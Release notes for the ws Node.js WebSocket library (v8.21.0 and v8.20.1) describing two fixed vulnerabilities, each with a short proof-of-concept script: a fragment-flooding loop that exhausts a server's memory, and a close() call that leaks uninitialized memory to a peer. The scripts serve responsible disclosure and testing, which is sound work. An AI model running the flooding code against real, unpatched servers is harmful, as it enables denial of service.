Release Notes

websockets/ws (ws@>=8.0.0 <8.17.1)

v8.21.0

Compare Source

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd4).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd4).

A high volume of tiny fragments and data chunks could be sent by a peer, using
modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the
maxPayload option if possible.

v8.20.1

Bug fixes

• Fixed an uninitialized memory disclosure issue in websocket.close()
  (c0327ec).

Providing a TypedArray (e.g. Float32Array) as the reason argument for
websocket.close(), rather than the supported string or Buffer types, caused
uninitialized memory to be disclosed to the remote peer.

import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer(
  { port: 0, skipUTF8Validation: true },
  function () {
    const { port } = wss.address();
    const ws = new WebSocket(`ws://localhost:${port}`, {
      skipUTF8Validation: true
    });

    ws.on('close', function (code, reason) {
      deepStrictEqual(reason, Buffer.alloc(80));
    });
  }
);

wss.on('connection', function (ws) {
  ws.close(1000, new Float32Array(20));
});

The issue was privately reported by Nikita Skovoroda.
